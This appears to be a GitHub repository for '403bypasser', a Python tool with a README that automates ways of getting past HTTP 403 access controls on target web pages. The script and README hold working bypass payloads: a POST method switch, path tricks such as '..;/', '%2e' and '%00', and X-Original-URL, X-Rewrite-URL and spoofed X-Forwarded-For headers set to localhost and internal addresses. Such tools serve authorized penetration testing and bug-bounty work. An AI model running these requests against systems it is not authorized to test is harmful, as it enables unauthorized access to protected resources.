├── 403bypasser.py ├── LICENSE ├── README.md ├── img ├── DESCRIPTION └── banner_v2.png └── requirements.txt /403bypasser.py: -------------------------------------------------------------------------------- 1 | import requests, sys, argparse, validators, os, tldextract 2 | from colorama import init, Fore, Style 3 | from pyfiglet import Figlet 4 | 5 | # INITIALISE COLORAMA 6 | init() 7 | 8 | # DISPLAY BANNER -- START 9 | custom_fig = Figlet(font='slant') 10 | print(Fore.BLUE + Style.BRIGHT + custom_fig.renderText('-------------') + Style.RESET_ALL) 11 | print(Fore.BLUE + Style.BRIGHT + custom_fig.renderText('403bypasser') + Style.RESET_ALL) 12 | print(Fore.GREEN + Style.BRIGHT + "____________________ Yunus Emre SERT ____________________\n") 13 | print(Fore.LIGHTMAGENTA_EX + Style.BRIGHT + "-----> Twitter : https://twitter.com/yunem_se\n") 14 | print(Fore.MAGENTA + Style.BRIGHT + "-----> GitHub : https://github.com/yunemse48\n") 15 | print(Fore.MAGENTA + Style.BRIGHT + "-----> LinkedIn : https://www.linkedin.com/in/yunus-emre-sert-9102a9135/\n") 16 | print(Fore.BLUE + Style.BRIGHT + custom_fig.renderText('-------------') + Style.RESET_ALL) 17 | # DISPLAY BANNER -- END 18 | 19 | # HANDLE ARGUMENTS -- START 20 | parser = argparse.ArgumentParser() 21 | parser.add_argument("-u", "--url", type=str, help="single URL to scan, ex: http://example.com") 22 | parser.add_argument("-U", "--urllist", type=str, help="path to list of URLs, ex: urllist.txt") 23 | parser.add_argument("-d", "--dir", type=str, help="Single directory to scan, ex: /admin", nargs="?", const="/") 24 | parser.add_argument("-D", "--dirlist", type=str, help="path to list of directories, ex: dirlist.txt") 25 | 26 | args = parser.parse_args() 27 | # HANDLE ARGUMENTS -- END 28 | 29 | 30 | 31 | class Arguments(): 32 | def __init__(self, url, urllist, dir, dirlist): 33 | self.url = url 34 | self.urllist = urllist 35 | self.dir = dir 36 | self.dirlist = dirlist 37 | self.urls = [] 38 | self.dirs = [] 39 | 40 | self.checkURL() 41 | self.checkDir() 42 | 43 | def return_urls(self): 44 | return self.urls 45 | 46 | def return_dirs(self): 47 | return self.dirs 48 | 49 | def checkURL(self): 50 | if self.url: 51 | if not validators.url(self.url): 52 | print("You must specify a valid URL for -u (--url) argument! Exitting...\n") 53 | sys.exit 54 | 55 | if self.url.endswith("/"): 56 | self.url = self.url.rstrip("/") 57 | 58 | self.urls.append(self.url) 59 | elif self.urllist: 60 | if not os.path.exists(self.urllist): 61 | print("The specified path to URL list does not exist! Exitting...\n") 62 | sys.exit() 63 | 64 | with open(self.urllist, 'r') as file: 65 | temp = file.readlines() 66 | 67 | for x in temp: 68 | self.urls.append(x.strip()) 69 | else: 70 | print("Please provide a single URL or a list either! (-u or -U)\n") 71 | sys.exit() 72 | 73 | def checkDir(self): 74 | if self.dir: 75 | if not self.dir.startswith("/"): 76 | self.dir = "/" + self.dir 77 | 78 | if self.dir.endswith("/") and self.dir != "/": 79 | self.dir = self.dir.rstrip("/") 80 | self.dirs.append(self.dir) 81 | elif self.dirlist: 82 | if not os.path.exists(self.dirlist): 83 | print("The specified path to directory list does not exist! Exitting...\n") 84 | sys.exit() 85 | 86 | with open(self.dirlist, 'r') as file: 87 | temp = file.readlines() 88 | 89 | for x in temp: 90 | self.dirs.append(x.strip()) 91 | else: 92 | self.dir = "/" 93 | 94 | 95 | class PathRepository(): 96 | def __init__(self, path): 97 | self.path = path 98 | self.newPaths = [] 99 | self.newHeaders = [] 100 | self.rewriteHeaders = [] 101 | 102 | self.createNewPaths() 103 | self.createNewHeaders() 104 | 105 | def createNewPaths(self): 106 | self.newPaths.append(self.path) 107 | 108 | pairs = [["/", "//"], ["/.", "/./"]] 109 | 110 | leadings = ["/%2e"] 111 | 112 | trailings = ["/", "..;/", "/..;/", "%20", "%09", "%00", 113 | ".json", ".css", ".html", "?", "??", "???", 114 | "?testparam", "#", "#test", "/."] 115 | 116 | for pair in pairs: 117 | self.newPaths.append(pair[0] + self.path + pair[1]) 118 | 119 | for leading in leadings: 120 | self.newPaths.append(leading + self.path) 121 | 122 | for trailing in trailings: 123 | self.newPaths.append(self.path + trailing) 124 | 125 | def createNewHeaders(self): 126 | headers_overwrite = ["X-Original-URL", "X-Rewrite-URL"] 127 | 128 | headers = ["X-Custom-IP-Authorization", "X-Forwarded-For", 129 | "X-Forward-For", "X-Remote-IP", "X-Originating-IP", 130 | "X-Remote-Addr", "X-Client-IP", "X-Real-IP"] 131 | 132 | values = ["localhost", "localhost:80", "localhost:443", 133 | "127.0.0.1", "127.0.0.1:80", "127.0.0.1:443", 134 | "2130706433", "0x7F000001", "0177.0000.0000.0001", 135 | "0", "127.1", "10.0.0.0", "10.0.0.1", "172.16.0.0", 136 | "172.16.0.1", "192.168.1.0", "192.168.1.1"] 137 | 138 | for header in headers: 139 | for value in values: 140 | self.newHeaders.append({header : value}) 141 | 142 | for element in headers_overwrite: 143 | self.rewriteHeaders.append({element : self.path}) 144 | 145 | 146 | class Query(): 147 | def __init__(self, url, dir, dirObject): 148 | self.url = url 149 | self.dir = dir # call pathrepo by this 150 | self.dirObject = dirObject 151 | self.domain = tldextract.extract(self.url).domain 152 | 153 | 154 | 155 | def checkStatusCode(self, status_code): 156 | if status_code == 200 or status_code == 201: 157 | colour = Fore.GREEN + Style.BRIGHT 158 | elif status_code == 301 or status_code == 302: 159 | colour = Fore.BLUE + Style.BRIGHT 160 | elif status_code == 403 or status_code == 404: 161 | colour = Fore.MAGENTA + Style.BRIGHT 162 | elif status_code == 500: 163 | colour = Fore.RED + Style.BRIGHT 164 | else: 165 | colour = Fore.WHITE + Style.BRIGHT 166 | 167 | return colour 168 | 169 | def writeToFile(self, array): 170 | with open(self.domain + ".txt", "a") as file: 171 | for line in array: 172 | file.write(line + "\n") 173 | 174 | def manipulateRequest(self): 175 | print((" Target URL: " + self.url + "\tTarget Path: " + self.dir + " ").center(121, "=")) 176 | results = [] 177 | p = requests.post(self.url + self.dir) 178 | 179 | colour = self.checkStatusCode(p.status_code) 180 | reset = Style.RESET_ALL 181 | 182 | line_width = 100 183 | target_address = "POST --> " + self.url + self.dir 184 | info = f"STATUS: {colour}{p.status_code}{reset}\tSIZE: {len(p.content)}" 185 | info_pure = f"STATUS: {p.status_code}\tSIZE: {len(p.content)}" 186 | remaining = line_width - len(target_address) 187 | 188 | print("\n" + target_address + " " * remaining + info) 189 | 190 | results.append(target_address + " " * remaining + info_pure) 191 | 192 | self.writeToFile(results) 193 | 194 | self.manipulatePath() 195 | 196 | def manipulatePath(self): 197 | results = [] 198 | reset = Style.RESET_ALL 199 | line_width = 100 200 | 201 | for path in self.dirObject.newPaths: 202 | r = requests.get(self.url + path) 203 | 204 | colour = self.checkStatusCode(r.status_code) 205 | 206 | target_address = "GET --> " + self.url + path 207 | info = f"STATUS: {colour}{r.status_code}{reset}\tSIZE: {len(r.content)}" 208 | info_pure = f"STATUS: {r.status_code}\tSIZE: {len(r.content)}" 209 | remaining = line_width - len(target_address) 210 | 211 | print(target_address + " " * remaining + info) 212 | 213 | results.append(target_address + " " * remaining + info_pure) 214 | 215 | self.writeToFile(results) 216 | self.manipulateHeaders() 217 | 218 | def manipulateHeaders(self): 219 | results = [] 220 | line_width = 100 221 | 222 | for header in self.dirObject.newHeaders: 223 | r = requests.get(self.url + self.dir, headers=header) 224 | 225 | colour = self.checkStatusCode(r.status_code) 226 | reset = Style.RESET_ALL 227 | 228 | target_address = "GET --> " + self.url + self.dir 229 | info = f"STATUS: {colour}{r.status_code}{reset}\tSIZE: {len(r.content)}" 230 | info_pure = f"STATUS: {r.status_code}\tSIZE: {len(r.content)}" 231 | remaining = line_width - len(target_address) 232 | 233 | print("\n" + target_address + " " * remaining + info) 234 | print(f"Header= {header}") 235 | 236 | results.append("\n" + target_address + " " * remaining + info_pure + f"\nHeader= {header}") 237 | self.writeToFile(results) 238 | 239 | results_2 = [] 240 | for header in self.dirObject.rewriteHeaders: 241 | r = requests.get(self.url, headers=header) 242 | 243 | colour = self.checkStatusCode(r.status_code) 244 | reset = Style.RESET_ALL 245 | 246 | target_address = "GET --> " + self.url 247 | info = f"STATUS: {colour}{r.status_code}{reset}\tSIZE: {len(r.content)}" 248 | info_pure = f"STATUS: {r.status_code}\tSIZE: {len(r.content)}" 249 | remaining = line_width - len(target_address) 250 | 251 | print("\n" + target_address + " " * remaining + info) 252 | print(f"Header= {header}") 253 | 254 | results_2.append("\n" + target_address + " " * remaining + info_pure + f"\nHeader= {header}") 255 | 256 | self.writeToFile(results_2) 257 | 258 | 259 | class Program(): 260 | def __init__(self, urllist, dirlist): 261 | self.urllist = urllist 262 | self.dirlist = dirlist 263 | 264 | def initialise(self): 265 | for u in self.urllist: 266 | for d in self.dirlist: 267 | if d != "/": 268 | dir_objname = d.lstrip("/") 269 | else: 270 | dir_objname = "_rootPath" 271 | locals()[dir_objname] = PathRepository(d) 272 | domain_name = tldextract.extract(u).domain 273 | locals()[domain_name] = Query(u, d, locals()[dir_objname]) 274 | locals()[domain_name].manipulateRequest() 275 | 276 | argument = Arguments(args.url, args.urllist, args.dir, args.dirlist) 277 | program = Program(argument.return_urls(), argument.return_dirs()) 278 | 279 | program.initialise() 280 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Yunus Emre SERT 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) 2 | ![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg) 3 | 4 | # 403bypasser 5 | 6 | ![Banner](https://github.com/yunemse48/403bypasser/blob/master/img/banner_v2.png?raw=true) 7 | 8 | ## Türkçe 9 | **403bypasser**, hedef sayfalardaki erişim kontrolü kısıtlamalarını aşmak için kullanılan teknikleri otomatikleştirir. Bu araç geliştirilmeye devam edecektir, katkılara açıktır. 10 | 11 | ## English 12 | 13 | **403bypasser** automates the techniques used to circumvent access control restrictions on target pages. **403bypasser** will continue to be improved and it is open to contributions. 14 | 15 | ## Installation 16 | 17 | 1. Clone the repository to your machine. `git clone https://github.com/yunemse48/403bypasser.git` 18 | 2. Install required modules by running the code `pip install -r requirements.txt` 19 | 3. READY! 20 | 21 | ## Usage 22 | 23 | **Arguments:**
24 | 25 | | Argument | Description | Examples | Note | 26 | | -------- | ----------- | ------- | ---- | 27 | | -u | single URL to scan | http://example.com or http://example.com/ | All these example usages are interpreted in the same way | 28 | | -U | path to list of URLs | ./urllist.txt, ../../urllist.txt, etc. | Just provide the path where the file is located :) | 29 | | -d | single directory to scan | admin or /admin or admin/ or /admin/ | All these example usages are interpreted in the same way | 30 | | -D | path to list of directories | ./dirlist.txt, ../../dirlist.txt, etc. | Just provide the path where the file is located :) | 31 | 32 | **Usage 1:** `python3 403bypasser.py -u https://example.com -d /secret`
33 | **Usage 2:** `python3 403bypasser.py -u https://example.com -D dirlist.txt`
34 | **Usage 3:** `python3 403bypasser.py -U urllist.txt -d /secret`
35 | **Usage 4:** `python3 403bypasser.py -U urllist.txt -D dirlist.txt`
36 | 37 | **IMPORTANT NOTE:** All the followings are interpreted the same. Therefore, which pattern you use is just a matter of preference. 38 | - `python3 403bypasser.py -u https://example.com -d secret`
39 | - `python3 403bypasser.py -u https://example.com -d /secret`
40 | - `python3 403bypasser.py -u https://example.com -d /secret/`
41 | - `python3 403bypasser.py -u https://example.com -d secret/`
42 | - `python3 403bypasser.py -u https://example.com/ -d secret`
43 | ***ALL THE SAME!*** 44 | 45 | > Since Python is a cross-platform language, one can run this program on different operating systems. 46 | 47 | ## Output 48 | 49 | The output of the program is saved (in the current directory) in a file with the name of the domain name given as input.
50 | For example:
51 | `python3 403bypasser.py -u https://example.com -d /secret` is given. Then the output is saved to `example.txt` in the current directory. 52 | *** 53 | 54 | ## Release Notes 55 | **Changes in v2.0**: Considerable changes have been done in this version. The project is completely moved to Python 3 from Bash. New and wide variety of techniques have been added.
56 |
57 | **Changes in v1.1:** It's now possible to pass files (lists) to 403bypasser as input via arguments. Furthermore, two more test cases added: 58 | poisoning with 1)`X-Original-URL` and 2)`X-Rewrite-URL` headers. 59 | 60 | *** 61 | 62 | ## To-Do List 63 | - [ ] GUI 64 | - [ ] Add Rate-Limit / Threads Option 65 | - [ ] Add an Option for Scan Types (fast, normal, aggressive or only path manipulation / header manipulation) 66 | - [ ] Export cURL Command for Each Request 67 | - [ ] Add Parameters to Save Output According to HTTP Status Codes 68 | - [ ] Add Parameters to Save Output According to Page Size Anomalies 69 | 70 | ## Which Cases Does This Tool Check? 71 | 72 | ### 1. Request Method Manipulation 73 | - Convert GET request to POST request 74 | 75 | ### 2. Path Manipulation 76 | - `/%2e/secret` 77 | - `/secret/` 78 | - `/secret..;/` 79 | - `/secret/..;/` 80 | - `/secret%20` 81 | - `/secret%09` 82 | - `/secret%00` 83 | - `/secret.json` 84 | - `/secret.css` 85 | - `/secret.html` 86 | - `/secret?` 87 | - `/secret??` 88 | - `/secret???` 89 | - `/secret?testparam` 90 | - `/secret#` 91 | - `/secret#test` 92 | - `/secret/.` 93 | - `//secret//` 94 | - `/./secret/./` 95 | 96 | ### 3. Overriding the Target URL via Non-Standard Headers 97 | - `X-Original-URL: /secret` 98 | - `X-Rewrite-URL: /secret` 99 | 100 | ### 4. Other Headers & Values 101 | **Headers:** 102 | - `X-Custom-IP-Authorization` 103 | - `X-Forwarded-For` 104 | - `X-Forward-For` 105 | - `X-Remote-IP` 106 | - `X-Originating-IP` 107 | - `X-Remote-Addr` 108 | - `X-Client-IP` 109 | - `X-Real-IP` 110 | 111 | **Values:** 112 | - `localhost` 113 | - `localhost:80` 114 | - `localhost:443` 115 | - `127.0.0.1` 116 | - `127.0.0.1:80` 117 | - `127.0.0.1:443` 118 | - `2130706433` 119 | - `0x7F000001` 120 | - `0177.0000.0000.0001` 121 | - `0` 122 | - `127.1` 123 | - `10.0.0.0` 124 | - `10.0.0.1` 125 | - `172.16.0.0` 126 | - `172.16.0.1` 127 | - `192.168.1.0` 128 | - `192.168.1.1` 129 | -------------------------------------------------------------------------------- /img/DESCRIPTION: -------------------------------------------------------------------------------- 1 | This folder contains figures, pictures related to the tool. 2 | -------------------------------------------------------------------------------- /img/banner_v2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunemse48/403bypasser/4be90d5af64c44bb306654bd822f0db1b6daddaa/img/banner_v2.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | argparse 3 | validators 4 | tldextract 5 | colorama 6 | pyfiglet 7 | --------------------------------------------------------------------------------